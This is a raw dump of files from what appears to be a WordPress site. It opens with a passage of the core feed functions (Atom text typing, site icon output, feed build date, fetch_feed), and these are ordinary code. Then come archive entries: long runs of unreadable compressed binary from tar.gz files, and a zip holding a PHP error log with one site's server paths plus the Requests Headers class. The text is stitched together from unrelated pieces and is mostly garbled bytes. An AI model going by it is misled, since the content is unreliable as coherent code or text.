		}
	}
}

/**
 * Determines the type of a string of data with the data formatted.
 *
 * Tell whether the type is text, HTML, or XHTML, per RFC 4287 section 3.1.
 *
 * In the case of WordPress, text is defined as containing no markup,
 * XHTML is defined as "well formed", and HTML as tag soup (i.e., the rest).
 *
 * Container div tags are added to XHTML values, per section 3.1.1.3.
 *
 * @link http://www.atomenabled.org/developers/syndication/atom-format-spec.php#rfc.section.3.1
 *
 * @since 2.5.0
 *
 * @param string $data Input string.
 * @return array array(type, value)
 */
function prep_atom_text_construct( $data ) {
	if ( ! str_contains( $data, '<' ) && ! str_contains( $data, '&' ) ) {
		return array( 'text', $data );
	}

	if ( ! function_exists( 'xml_parser_create' ) ) {
		wp_trigger_error( '', __( "PHP's XML extension is not available. Please contact your hosting provider to enable PHP's XML extension." ) );

		return array( 'html', "<![CDATA[$data]]>" );
	}

	$parser = xml_parser_create();
	xml_parse( $parser, '<div>' . $data . '</div>', true );
	$code = xml_get_error_code( $parser );
	xml_parser_free( $parser );
	unset( $parser );

	if ( ! $code ) {
		if ( ! str_contains( $data, '<' ) ) {
			return array( 'text', $data );
		} else {
			$data = "<div xmlns='http://www.w3.org/1999/xhtml'>$data</div>";
			return array( 'xhtml', $data );
		}
	}

	if ( ! str_contains( $data, ']]>' ) ) {
		return array( 'html', "<![CDATA[$data]]>" );
	} else {
		return array( 'html', htmlspecialchars( $data ) );
	}
}

/**
 * Displays Site Icon in atom feeds.
 *
 * @since 4.3.0
 *
 * @see get_site_icon_url()
 */
function atom_site_icon() {
	$url = get_site_icon_url( 32 );
	if ( $url ) {
		echo '<icon>' . convert_chars( $url ) . "</icon>\n";
	}
}

/**
 * Displays Site Icon in RSS2.
 *
 * @since 4.3.0
 */
function rss2_site_icon() {
	$rss_title = get_wp_title_rss();
	if ( empty( $rss_title ) ) {
		$rss_title = get_bloginfo_rss( 'name' );
	}

	$url = get_site_icon_url( 32 );
	if ( $url ) {
		echo '
<image>
	<url>' . convert_chars( $url ) . '</url>
	<title>' . $rss_title . '</title>
	<link>' . get_bloginfo_rss( 'url' ) . '</link>
	<width>32</width>
	<height>32</height>
</image> ' . "\n";
	}
}

/**
 * Returns the link for the currently displayed feed.
 *
 * @since 5.3.0
 *
 * @return string Correct link for the atom:self element.
 */
function get_self_link() {
	$parsed = parse_url( home_url() );

	$domain = $parsed['host'];
	if ( isset( $parsed['port'] ) ) {
		$domain .= ':' . $parsed['port'];
	}

	return set_url_scheme( 'http://' . $domain . wp_unslash( $_SERVER['REQUEST_URI'] ) );
}

/**
 * Displays the link for the currently displayed feed in a XSS safe way.
 *
 * Generate a correct link for the atom:self element.
 *
 * @since 2.5.0
 */
function self_link() {
	/**
	 * Filters the current feed URL.
	 *
	 * @since 3.6.0
	 *
	 * @see set_url_scheme()
	 * @see wp_unslash()
	 *
	 * @param string $feed_link The link for the feed with set URL scheme.
	 */
	echo esc_url( apply_filters( 'self_link', get_self_link() ) );
}

/**
 * Gets the UTC time of the most recently modified post from WP_Query.
 *
 * If viewing a comment feed, the time of the most recently modified
 * comment will be returned.
 *
 * @since 5.2.0
 *
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @param string $format Date format string to return the time in.
 * @return string|false The time in requested format, or false on failure.
 */
function get_feed_build_date( $format ) {
	global $wp_query;

	$datetime          = false;
	$max_modified_time = false;
	$utc               = new DateTimeZone( 'UTC' );

	if ( ! empty( $wp_query ) && $wp_query->have_posts() ) {
		// Extract the post modified times from the posts.
		$modified_times = wp_list_pluck( $wp_query->posts, 'post_modified_gmt' );

		// If this is a comment feed, check those objects too.
		if ( $wp_query->is_comment_feed() && $wp_query->comment_count ) {
			// Extract the comment modified times from the comments.
			$comment_times = wp_list_pluck( $wp_query->comments, 'comment_date_gmt' );

			// Add the comment times to the post times for comparison.
			$modified_times = array_merge( $modified_times, $comment_times );
		}

		// Determine the maximum modified time.
		$datetime = date_create_immutable_from_format( 'Y-m-d H:i:s', max( $modified_times ), $utc );
	}

	if ( false === $datetime ) {
		// Fall back to last time any post was modified or published.
		$datetime = date_create_immutable_from_format( 'Y-m-d H:i:s', get_lastpostmodified( 'GMT' ), $utc );
	}

	if ( false !== $datetime ) {
		$max_modified_time = $datetime->format( $format );
	}

	/**
	 * Filters the date the last post or comment in the query was modified.
	 *
	 * @since 5.2.0
	 *
	 * @param string|false $max_modified_time Date the last post or comment was modified in the query, in UTC.
	 *                                        False on failure.
	 * @param string       $format            The date format requested in get_feed_build_date().
	 */
	return apply_filters( 'get_feed_build_date', $max_modified_time, $format );
}

/**
 * Returns the content type for specified feed type.
 *
 * @since 2.8.0
 *
 * @param string $type Type of feed. Possible values include 'rss', rss2', 'atom', and 'rdf'.
 * @return string Content type for specified feed type.
 */
function feed_content_type( $type = '' ) {
	if ( empty( $type ) ) {
		$type = get_default_feed();
	}

	$types = array(
		'rss'      => 'application/rss+xml',
		'rss2'     => 'application/rss+xml',
		'rss-http' => 'text/xml',
		'atom'     => 'application/atom+xml',
		'rdf'      => 'application/rdf+xml',
	);

	$content_type = ( ! empty( $types[ $type ] ) ) ? $types[ $type ] : 'application/octet-stream';

	/**
	 * Filters the content type for a specific feed type.
	 *
	 * @since 2.8.0
	 *
	 * @param string $content_type Content type indicating the type of data that a feed contains.
	 * @param string $type         Type of feed. Possible values include 'rss', rss2', 'atom', and 'rdf'.
	 */
	return apply_filters( 'feed_content_type', $content_type, $type );
}

/**
 * Builds SimplePie object based on RSS or Atom feed from URL.
 *
 * @since 2.8.0
 *
 * @param string|string[] $url URL of feed to retrieve. If an array of URLs, the feeds are merged
 *                             using SimplePie's multifeed feature.
 *                             See also {@link http://simplepie.org/wiki/faq/typical_multifeed_gotchas}
 * @return SimplePie\SimplePie|WP_Error SimplePie object on success or WP_Error object on failure.
 */
function fetch_feed( $url ) {
	if ( ! class_exists( 'SimplePie\SimplePie', false ) ) {
		require_once ABSPATH . WPINC . '/class-simplepie.php';
	}

	require_once ABSPATH . WPINC . '/class-wp-feed-cache-transient.php';
	require_once ABSPATH . WPINC . '/class-wp-simplepie-file.php';
	require_once ABSPATH . WPINC . '/class-wp-simplepie-sanitize-kses.php';

	$feed = new SimplePie\SimplePie();

	$feed->set_sanitize_class( 'WP_SimplePie_Sanitize_KSES' );
	/*
	 * We must manually overwrite $feed->sanitize because SimplePie's constructor
	 * sets it before we have a chance to set the sanitization class.
	 */
	$feed->sanitize = new WP_SimplePie_Sanitize_KSES();

	// Register the cache handler using the recommended method for SimplePie 1.3 or later.
	if ( method_exists( 'SimplePie_Cache', 'register' ) ) {
		SimplePie_Cache::register( 'wp_transient', 'WP_Feed_Cache_Transient' );
		$feed->set_cache_location( 'wp_transient' );
	} else {
		// Back-compat for SimplePie 1.2.x.
		require_once ABSPATH . WPINC . '/class-wp-feed-cache.php';
		$feed->set_cache_class( 'WP_Feed_Cache' );
	}

	$feed->set_file_class( 'WP_SimplePie_File' );

	$feed->set_feed_url( $url );
	/** This filter is documented in wp-includes/class-wp-feed-cache-transient.php */
	$feed->set_cache_duration( apply_filters( 'wp_feed_cache_transient_lifetime', 12 * HOUR_IN_SECONDS, $url ) );

	/**
	 * Fires just before processing the SimplePie feed object.
	 *
	 * @since 3.0.0
	 *
	 * @param SimplePie\SimplePie $feed SimplePie feed object (passed by reference).
	 * @param string|string[]     $url  URL of feed or array of URLs of feeds to retrieve.
	 */
	do_action_ref_array( 'wp_feed_options', array( &$feed, $url ) );

	$feed->init();
	$feed->set_output_encoding( get_bloginfo( 'charset' ) );

	if ( $feed->error() ) {
		return new WP_Error( 'simplepie-error', $feed->error() );
	}

	return $feed;
}
14338/link.tar.gz000064400000017707151024420100007313 0ustar00��=kw�6����BV{<�
;�۴{����u�6m�d��v�qs��V��\Ic'k��AR|i<n��й�x�I��rqZT�_ۿ�q�m�|y�n�|{��/����/v�?���_?۹��|g;�qҟE��
����,�iW�U����Gy�E�&�DFͬ�S��y�b�>�Eˣ�k�i7�Ha�S�
:wE�n>��EW��u]�ㆷuy����{*D�q^姼��Ov�$�~�����b���xS�勼9�]�z������9�̩&,��-�*�ޝ�$�[��7�	�k.�����$�<�F�ޭ�f�	���
$������=���#��P�ah��ם���n�!�����E���А%���>?�����2#��Ÿ��\A1�NG!2����
I�'o	|���
c���#P�
����!��E9{~V_�>j,6x�7`��/ߓw
/��w@�q
��@.��φ����!Tm��)��C�hޒ�^T��]�ߗ�N���,�˗U���i_���72æw�ߐ�U=e�Xp5���L��V��/Rm
���?X��̂��@�P�ѣ7
��S�i�6m�M�8e�Rcd�™�ݠ]���i�ȼ���-�)�:��
U���g�b%l���ٚ����O��&m��|M8���;?���,�o��y}a[	T�c��}Z�i
jPu��z�n,!��L�Kwe�1��y�M�\@�!����x
��aD�ES��'Q���3.xt}�?��v���Q��!��
�;���+�#M�$Q��h�̫7#����'P8:�2b����ixU5�����m5r����5�2��Dz�����d4ʼn��k\�k��,�Y}ɢm�?a?�@u�(Kc\O��R�����d��6���y��k�hc0�thf�k����P�����8�j�����h��-�l���ޜwyt�u�����$���;�#�W�$��ř���;Z�Q�Ǽ��3N�{'�_��Q�e�rs��G�_C!��/��+��H��ܽ�Q�Yf��OOKN��٢��EEK6��
���Ƈ#-�G�F}�/�	u@�����yYt�֫��V
���վ���m�;�)ʣ�����<��K��u���^�!��l��@�9
��E4�u�AJ^�vg�N�i�%�CH����a
�q�����P\䥭).��j�i�w��D{�>�1��g��E%@��Ƅ�:=~�:M"E�=����z�6���  ���-76��/�}Q(m8/�)�[<|����)�������n������ӎ���~0�:��`��D,Xc�G��1h��<?���E�s��H��LPKX�q]:�nk-�L�{
�ŀ�R�{d���7M6�r�ܹmJ:�kQ��w\�g8�c�2�QY����UtR7����d�("O2
�h��`��X	�on�q�c>紻��rd��҉ϑv�J�OA�u3&�L�b}m�xR���[C�us��ں���]+U���/���𗯎�|u�˽�;�^m�_}b����/0{3���I2B�'#esB"m��QO����Y
c��������?�uf��o^>{ �h��q�P_oD�h/b���i(�˧g�;��<d��r��&7�6.�A��aX�r����v�:��Z��f����Z7��_������k��6}pγ	RϬ�Nn�D��_�
ؽ`�]ȭ�_C�Ť����@?B]:�+"L�g��.F���
�O�a�~��8B�Fvx��e�]&*\�:\���ϣK���`�_|��BE��J�ŐoQ�"f��w[��(<�Uc��HN���ߺ�H����i�jӽKhAH]P�a���Q����uj"%��:�%؇c.l� }4��r:����hH��.�jHߢgA��i��9�'!H�}a�u�.
S%1��,Hꊪ�vʩ0xK[�o_<���̜�-���a�F�o����j��`�H`��b�wꃄ����lQ
�f+��x��y�U��޻H���F4�QFC@0���͜rXf'ũ�����O�6a~�s��bD�
_�i~j�%��kw�ņ���6��q>>�q���|���-��dK��$_'�&ׄ�մ�I����A�A�VfX͊��u7D���;��W�1$g���Jig�ɿN@�Ձ�o�n�@�·���+�Z"����x�K�)���O�}q�`�}^��B!�/o��o��q��O�5$0+.�h
��q>}c�q�w�^�q���ˣ��q�o
�"���3�|є��oz��b:��`E`�h�D~��ɏ�-��7[�~��ƷRM��u��pM�1w�t����x
�Mu|n��|AGjQ�8x8�S{Ƕ	�������EMj��/�E?4�*pt�C�_�A���TwB����tp�!�N�VI�!WbPQ����V�Ӎ�#������L��Fm���m)����Y���.}+���be�ō^lzA���3�w|��I�̃�g�k�!j��/�Yu�;i��Ez �(���W�U�#)�qJ�&5#�h�V�F��[ӥ��`5��`{V_�/�>
rO[�i�[��>Z��}~��Ѱ������i ���(�s7�r�fB?���){l�WC�
���~�=U�}Oq~N?-�2׫���:�߂�\r�ڞ{\+v��8��û���igf���)ir"b�|�=ZS�]��Ba�&*qv
N7��g6������Q�u�8��Ģ@^��a�0ܜ{����1AV�]B~~:JM}"���/f::?�0h�#��b�Y��Ҹ�t��\6f�)lˢ��x��W��3��fٚ�U}�c��]
3�$0�X����U{V�tMD��Ǻ�#mE�����JZy rz�Ht��=��SY��1���!l��&Ȯ�+brVi���VΔ��9�A�
�|�m2Tce��FB�u��h�f+I�/�	����B��U�!����]m�ĝ�.���D�LKk�n�(�A*����/��`�{t22AS�(�@���!���w%��m�z�-]�2r�����^?��,
;l���\R&�u<��j��r��q����&#֎��{;k(:��ʶ��o�W���ޗ�^����!�I��B�����c�����Z�/]Z3'���$x*�K�y�D0Ο�f�8���돥��W���Dy��<��1����s�~�ps�<%0O�&+`R����D��q�w���nn�coa�B��&|ȑ��JY�{;���S��-v�Н�f=Z����t�� �oa1M� �n,w��7T��6��j.���#���1,�M
�ᚕ
,�=��9��0�!�{{5s��IQD���U.�;�ï�PDƖ��FK�Q����H-����ð���ž@9J��Z�`y��4���
m{��u�=��7�D™;��[H��.�[�+���;��9�%lz `�,Z?�4���ˈ��`��Ws������5%`mV)��׀�9i隂�ⶄs1s5ٸݒ�gN�5B�Fsd���?�F.���o�l�`�և�W�bC���hE��3I�-����l�F{�9�y<0Ih�w[�%��L����F��m+[��t����gk4��
�=�G^���[~�<�Y)Vxq��	�mMOJ�6���½�7L=aF�ŋ�
�+d#��!�1űhľ�d�����=�9)J~^L�p76�F�6�b¶l���2UF�Hl7A��eS:�z�S�M�o���yfl]��y��U
��7������4S*̈�)VۨGc{+u�����t;�n�X�P��M���x^t�Ц}���~�	5�)���s��$=x���Kw=��t5���Z؛ާC�>�(���0�8�[��qߚ>"����c��"$�v�%@�m�18�&V��ی���n�U�!�}��o��zc�Ԯ������y^�]��7�}���B=գg<�]G�^D�9⳨�x���c�t!l|%$���~-_�سB9�.������D�_�vot�	�b�@U��=>�S�Fw"W\�
�Zޓ��"�ZF���fVD��~yuy'S�IH�e���ŵ�_^��wyyy�j|�j�j|d���+���7N.>�˶���ɕC�'��:~�*��߷�o
�7_�Q�UQ�oa��W�?��l	=��A�� l([B�K�s���xߒT<�1�|�����ȇʧ�)���H�D�=��z���G*2a�c^-~*��8���FQ晑�_$�E��vlT:(���_�I�*����q=+N���{%���Cʜ�8U��V��ܜ@1�;X��]=(���Tﲪ1�RH����/o
�LqGA�e?%�PS׽P
��ǡ;*S�1�GUW�T�K�p��^r�e�/�l��$�c
���ײ��o�O#;����!<��-��Q�V S�N<j�'վo@nB�ۇ>�z��Rt�ܖ33`b'	���B
��7��{>�rC`�;F� q����\��W��X\1�O%]����^��S����E�2?o�,8khONN�Z忺�豞�}�u�{hK��-���vq���P�4/�S]��V��+��M��c$ZGT"8e��O
\t�;�1xX�	B���s�)����P,�`�>�/�u�)_�6>�B�@Xv���+�L���\�N������U�6��;I1���M!�a�
�=��dC��p�Na6V�����֕��؀+��b�9���,�w�wHp�R�V!��O��o��C^�)�h{V���^r��b|N��m�
����F�q�gt��4FC�m{�''�C_%;�b�J�Zd�w���2�D���,Pf��2�x�_�
��Ev[K+�P��fI�Oa��z�����[?��O2uܳ�qj�	���衳	3��5�z���.0',Dw�ǜ=�D
V��:of51����]Gb�n�:Q��|�%�Qnr�`j;#q�d�1�gW���F��J���
����u�5��]��$LuZ�
���iTT�$aC�B��44��̛^p�E��d��Mo�/���>���ȥ70��r��`�{|,y�+���q�2A�!�צ��b��g�2p~Wp��EʋZ�#���`���$�`���&A�2J�OQE���S7��
V��*�F�}��<��4�{)����g[;W�������vMO��$��}��*�SKy�g�%�:�Y�,B�r�Z9,ʂ��g@�:�-A)�0W�cMwoe7�x�n��6V�a�O>H�9���p����صJ�4���wT��0�ˠZ`�2�Cxt4�)�ο3�;�U������:��g;�q���ם/��3��ೡ$/)ӫ����-�d�C�8��?NY�V/����F�K�TL�L$�du��JƽdE�Z#������2�r<�����l�����,��(N^}
�)_�f�Dݛи���6�k~�ޅ��O8{m�g<��9�'|�.�7v6&���Ťf��k����%{<)ؓP��k�lh��H�d?�9SCi�q���l��*�I�A�kuzP]@��B�8I6��__�l��/�ȷ;)���y��(�$��1��V�WT�I��K�
�)yc#{/Q�){c��lc�+U��m�;��L���Z+W�l�q�4���L�ܤK��	VՓ�J��L1%����U-s�ND�Nq�9�����̱ˊߓV���̦ۥwD&]�%��.�"���%�_�̊:��Ge����a�����uV����(h�@1�d�}ݧ;��d_�^-�z�ܥ��r/�&9��IU�ƽJe�-Ҭ��ĨJ�I�)�mm����8M��c�f��vJхr+����@��J8�{�|;�u�?�-�|̓|�܌��~��Q��R`�%��A��n~R���ȸd��Y���d�SIR��	��ܸm��E��\>5�R֙I���9��6�Y��M��)|en!�M8@�b�"e��?��G�`��.%.Vg�J�nRE�OfB��չ/kz�"�:�Ҟ�/B6fo�ў��03g���v���&t���;�{�/���AR����b���.�	D~B�9!���rQ�ɤ_`2�������2� �������8����"���`'�V��y�d!N������{	�8�zi����i�g:fC(�NR���g'O�#-q���e��-���ŸXUh��i/����)�<�N�z
�Rঅ�b���d�����}J�۱���K�<�4�Yp;���	p;�8a�;}�2��6z�Mf���X�r}m�X`3��LlL�	[h��6��:F�rr�Z��X�Z~�~���}����L�jE��=A��P�T�װ��ӛ����'��JhL'؁K����H��ş	���(K8=o�ӫ�zs��SdVQ�	X1�Z��qfq>�d���!�9"H�$���0K�Ùll���t
�%�W��ݣ�3�Vc���aSֲ6�e�
W��x�|
�@��I�������dv�
�ށ"��T)���F�u �Jߤss�0=jA�z�T6�U�}%���\��4���4����yra�B�%���RN�OL�q�j�N����8�|o�6N*�VoT����ޙ)Kf.X�┺��5��U�Z�53�Th�(~`��p����&L���C���G"wa�"^~�����w��I�������+@��`��7f���o��H}�6�cP!J,�ܕ��d�d5b|�)!Œ��[��L[�h�f��8$�ҙ�c��ؐon�
���b�dTWJoQ��"�baV�����Nh���n�3�� _��i���Gg5w/�7��k/M{��mr$��P�F�� ���~�gZ�hm�|j�>�zVw(a-�j��Cĉ�:�������J�y�����9#?86^��L<0�3��P�)�Yٿ��~&J{]mh�ٔ!e��I'��]__-w���B�}>��FjX�W~�Vr�����.�)��
��[�b�&��������K�?�)��E5=h�yk�YY2���-S����:͖7��|�L��
Vl�F��Ga���
���+NnR'rs�!,f� ݵ̶E�
eM��L��wKU�
��ՅK��S]
Xʤ�Qz�!-�y���ֆ9^.��M�[s���7��sK���`]��<�e������I�W��+�IX��,PN�`x�!��{Mϗ��N8�F��V�T�5�]�O�P�����mۆK,�-�;
���*�3����Ҩg�|I�܂��z$4L�lhR�`�+�%��s��ɿ�{
��$�I��q�k����L��5���La���`Ae�>d^�Չ۱#�aS�~�ԭ�}��~�؞�m�d�:À�Ѧ�1��/Yb�L�Q8
�MU�f�J��Ɵ���Z�e1�C�o6�)��N��"�[,�7!Z���[��K��
�~�?��b���b�аB�76�<i��|�|���T<���oE�s�4�>p�A��K���[��]�T_�Ǎ�u�~ss�^eޚ�ܴ~ޫ����,�`~��"|+�]R�N�Q�ܹ�ޑ�^�f�&�����������P٭67w>;Ly1,RRzaE�P�E�@>*ҿ%���U��d����/=ru��˕ ��(;;yuO��W���GI,Է�ET�_k�:K� 5�������a����I�ƴ��aH1�DݘOX��R\;6��0�4du6��y�5�7Zc���E���=Ә�t�,��@{y-0&�Jކ��a�"�,VWc�f�ph��)�Y��I�5�,��
=�qQ����A�8�T�Y]y��iD��g�����LA$V�o���ɳ3 �c�p��Ļ	���h�G���L��h�;}z������G5�~^Lq�x=\6K�$
H�38�r��`^�koG�q�^,����b��Stb.Ŀ����O'��@]��oߵ������ϟ������!7�14338/Response.zip000064400000014413151024420100007540 0ustar00PK�bd[{?E���	error_lognu�[���[28-Oct-2025 15:57:59 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Utility\CaseInsensitiveDictionary" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Response/Headers.php:20
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Response/Headers.php on line 20
[29-Oct-2025 15:52:33 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Utility\CaseInsensitiveDictionary" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Response/Headers.php:20
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Response/Headers.php on line 20
[29-Oct-2025 16:01:06 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Utility\CaseInsensitiveDictionary" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Response/Headers.php:20
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Response/Headers.php on line 20
[02-Nov-2025 07:17:39 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Utility\CaseInsensitiveDictionary" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Response/Headers.php:20
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Response/Headers.php on line 20
[03-Nov-2025 02:44:00 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Utility\CaseInsensitiveDictionary" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Response/Headers.php:20
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Response/Headers.php on line 20
[04-Nov-2025 03:01:38 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Utility\CaseInsensitiveDictionary" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Response/Headers.php:20
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Response/Headers.php on line 20
[04-Nov-2025 03:20:39 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Utility\CaseInsensitiveDictionary" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Response/Headers.php:20
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Response/Headers.php on line 20
[04-Nov-2025 03:32:10 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Utility\CaseInsensitiveDictionary" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Response/Headers.php:20
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Response/Headers.php on line 20
PK�bd[^���Headers.phpnu�[���<?php
/**
 * Case-insensitive dictionary, suitable for HTTP headers
 *
 * @package Requests
 */

namespace WpOrg\Requests\Response;

use WpOrg\Requests\Exception;
use WpOrg\Requests\Exception\InvalidArgument;
use WpOrg\Requests\Utility\CaseInsensitiveDictionary;
use WpOrg\Requests\Utility\FilteredIterator;

/**
 * Case-insensitive dictionary, suitable for HTTP headers
 *
 * @package Requests
 */
class Headers extends CaseInsensitiveDictionary {
	/**
	 * Get the given header
	 *
	 * Unlike {@see \WpOrg\Requests\Response\Headers::getValues()}, this returns a string. If there are
	 * multiple values, it concatenates them with a comma as per RFC2616.
	 *
	 * Avoid using this where commas may be used unquoted in values, such as
	 * Set-Cookie headers.
	 *
	 * @param string $offset Name of the header to retrieve.
	 * @return string|null Header value
	 */
	public function offsetGet($offset) {
		if (is_string($offset)) {
			$offset = strtolower($offset);
		}

		if (!isset($this->data[$offset])) {
			return null;
		}

		return $this->flatten($this->data[$offset]);
	}

	/**
	 * Set the given item
	 *
	 * @param string $offset Item name
	 * @param string $value Item value
	 *
	 * @throws \WpOrg\Requests\Exception On attempting to use dictionary as list (`invalidset`)
	 */
	public function offsetSet($offset, $value) {
		if ($offset === null) {
			throw new Exception('Object is a dictionary, not a list', 'invalidset');
		}

		if (is_string($offset)) {
			$offset = strtolower($offset);
		}

		if (!isset($this->data[$offset])) {
			$this->data[$offset] = [];
		}

		$this->data[$offset][] = $value;
	}

	/**
	 * Get all values for a given header
	 *
	 * @param string $offset Name of the header to retrieve.
	 * @return array|null Header values
	 *
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed argument is not valid as an array key.
	 */
	public function getValues($offset) {
		if (!is_string($offset) && !is_int($offset)) {
			throw InvalidArgument::create(1, '$offset', 'string|int', gettype($offset));
		}

		if (is_string($offset)) {
			$offset = strtolower($offset);
		}

		if (!isset($this->data[$offset])) {
			return null;
		}

		return $this->data[$offset];
	}

	/**
	 * Flattens a value into a string
	 *
	 * Converts an array into a string by imploding values with a comma, as per
	 * RFC2616's rules for folding headers.
	 *
	 * @param string|array $value Value to flatten
	 * @return string Flattened value
	 *
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed argument is not a string or an array.
	 */
	public function flatten($value) {
		if (is_string($value)) {
			return $value;
		}

		if (is_array($value)) {
			return implode(',', $value);
		}

		throw InvalidArgument::create(1, '$value', 'string|array', gettype($value));
	}

	/**
	 * Get an iterator for the data
	 *
	 * Converts the internally stored values to a comma-separated string if there is more
	 * than one value for a key.
	 *
	 * @return \ArrayIterator
	 */
	public function getIterator() {
		return new FilteredIterator($this->data, [$this, 'flatten']);
	}
}
PK�bd[{?E���	error_lognu�[���PK�bd[^���	Headers.phpnu�[���PK�a14338/themes.tar.gz000064400000630217151024420100007640 0ustar00��m{7� z?�_�����-'��CE�g�=���N2Y��O�l�}L�9lʒ&���KPh�dg���U��d7P
�B�P/�ͬZ/oo��i5����=�?~���|o�;{w����ڻs�˻_ݹ{����?�-�.�����M�6M�#�'��-���YÝ��y_��S$��`�f��_�Q�h�Ta�gmU��u=���A�,e*o�����m��U�,��j��j8p�^�=)��I��$P>��	�Ѭ�4�@w{
���}�.��zy�hY-��pSa�/E��6g�x|Rm����t88�0�b�>�F��ȴT�Kh*~�-��I�<;2_{4eڰ�}�����*
_k�TW���M�9k��u��`�T��2�_����ކ꿭7�i��5`�v�EUΞ-��jcm*7��NǶ1}W_T3;���rS���z�<Ho�������¼��>o��:4�f�5�ͯ,ȷs������D��|Q�6�@~�|�ID o�$3�����O�l3��0���s�m��ݹcY��e�U/��d��v[s�ޯ���#�U^�q�񫯾�j{c32Ӛ�����z�m�^�����l'�5���,��[Z\���2�U��Bɵ+�:rA��j�����5T�q1t5�`\?���1v�>�)�5�0��U�Q崔�/� ����b+6�<|�'��Nr!&=~O��"o���@sCC��<������cR@�'���9�3�r@�Ь��޵yP��/�7�##��m* �M��:�l|���/n���=0�����v
-D}+�Ua���vT̪��l�D9��P��ו�f]q=��{���k���[�4�l._;YY��spcw����.�C�{7^��󡫻�	q�a�J�2vݻW����1��Z��w�b�7���'��S�1�<�&����{#�X�	^��@y�mSmp��5�����I�rQ�բ�n̯�f1+�M����8Y.��
}�J7R~_�.�_�Ӝ���K�}�X��0{~6g���S�K���0<�]Q���Ā/^?����>w
��Y�~���ɺZ��#�k���䲹e��,m:Y|È#&�.a���닞'/s�����H����{���ߕS��K
�WW9>��R9���*�7��J�TBUe��"�}�a���y���a��3��_�Y]i��{�|�18(a���⽟$OxIً��,!�c��I~�*���2/WU2f�qKw#�0X��d9"��w�
���	O�؍!lw�}�C��r6���R�#�Bh­�y��L�6����/6���7<��n���{�b�������=��� ��J	=Br�����(31�Df�G)u��ۃ#����a�m��'�8��za6%���*���jQJ��l���}7l6(s�o7�R�ޗ���tm_b��,-.���p�
i�cĺ8/�V}	K�l4�(���gO%-��L5x]�M�l��5f�}jg��s��g��l�N���3@j�,��K�"��챑k&ШhՍ~9�<d�ֆ�q�����i�<�L�̅�FxfXp=����O]ћo���=�]���͹i��x�^7k(P���Y��k�a h��@+�>B,��Hp�@kK�s'*����mǗ;s�X�&l���\M�_�QUN�\��ّ��rF�L��lY%�"���za�����̒����[�М�@Ĝdֻ"�
�n�������D?���{ݳ��4�o|����yX��V�	��?;i�S�,J��]�ޖ���<a�Α4�J�EQ�X�{��$k�e�E͸�Z��S�L}�1�9���N�{�� �V.�䵲lyX�0��z��q�f&0`ܠe��x�qn��	��)�O��Z����sv7�6a�gԙ����� 6AAR�Vhg����̞-v�~=�c@F��#�-��H�U<�����A������=�j��nN{�i�3�j�Q�'~�2���фH� %->[aC����_��%1��@7'����j�C�/����)ŀ����g5�Ò��8�Kx�?��k@/ʣ������+�C��ċ�z:��o��y�]��o�r�l�Q=ua����v�n��A�+@�/���j�WF��*^���h
�8˜N/&�C#��,��e ˭�x)㘂Z1c�Qt�s,�/�*���p?ɏ�f�E�l�;c	����~�Zl�C��:ڛ�rL���j]g�e��5��<�����u․\6�@+�t�=t�#'y��Pc��T����,�,�uUn���M��]��Ts)�����nkQ�;�l��_��ي3�-��b��bA@�N;nW�z3�������w�X��4F�>ĉ�/q%4��ry)�de�jj��_<�ߚ���]NVX����ð�|w���1��Uw�����%>Xn-v��a����O1X�a���2C����E�o�#�‱�^�!1�:q�%�x<���*t�#e�FZ{�FS��/A���]�dK�T�}
�����֐|�O^�5��@�7Qa��1cn��0n��|�V��D'�d[�����z4H;=�W����{��7{�����WJ2\�K#0���,�™���T:(l�#�)�:��֊c¾��+C��p��9�l�6���9g�-sB��;W��HW�gw�t*g3m[K6 �"Հ�,]S�Ʈ�����U����r����Z9>�bVt'b�4�����O���w��tQ�m��=YK�U��ĸ	Y�o���ҷ�Rڀͬ��׍JL�D�ieڨP�HFx�d��#C.jsV�kAdp9�3�n�A����~�_���r�W��Y]�w��n��(n�0���NyӼ�<�l���X|�hJ��9u)�`�C��4�,	F���N�p�^���Cm���=��^5ڽ�9���8�x�͛1�)��9Lao���E�l<�J��XWS�Y�L�<D�L%��2nώ��zxgT������z#7�f��-�#��"7|��6���c�pP���.袨��g��vogGae�N/���uڬ��?��{z��L�����%��Y+�Qq1*.��V�5��}Ð�vU��n8�aX����\N
